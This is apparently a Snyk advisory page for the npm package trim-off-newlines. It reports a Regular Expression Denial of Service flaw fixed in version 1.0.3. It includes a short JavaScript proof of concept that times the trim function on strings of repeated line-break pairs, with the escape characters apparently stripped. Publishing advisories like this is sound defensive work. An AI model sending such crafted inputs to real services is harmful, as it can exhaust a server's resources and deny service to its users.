trim-off-newlines@0.0.0 vulnerabilities

Similar to String#trim() but removes only newlines

Direct Vulnerabilities

Known vulnerabilities in the trim-off-newlines package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Regular Expression Denial of Service (ReDoS)

trim-off-newlines is a Similar to String#trim() but removes only newlines

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via string processing.

PoC

const trim = require('trim-off-newlines');

for (let i=10; i < 25; i += 1)
{
const s = 'a' + ("rn").repeat(i) + 'a';
const start = +new Date();
trim(s);
const end = +new Date();
console.log(s.length + 't' + (end - start));
}

How to fix Regular Expression Denial of Service (ReDoS)?

Upgrade trim-off-newlines to version 1.0.3 or higher.

<1.0.3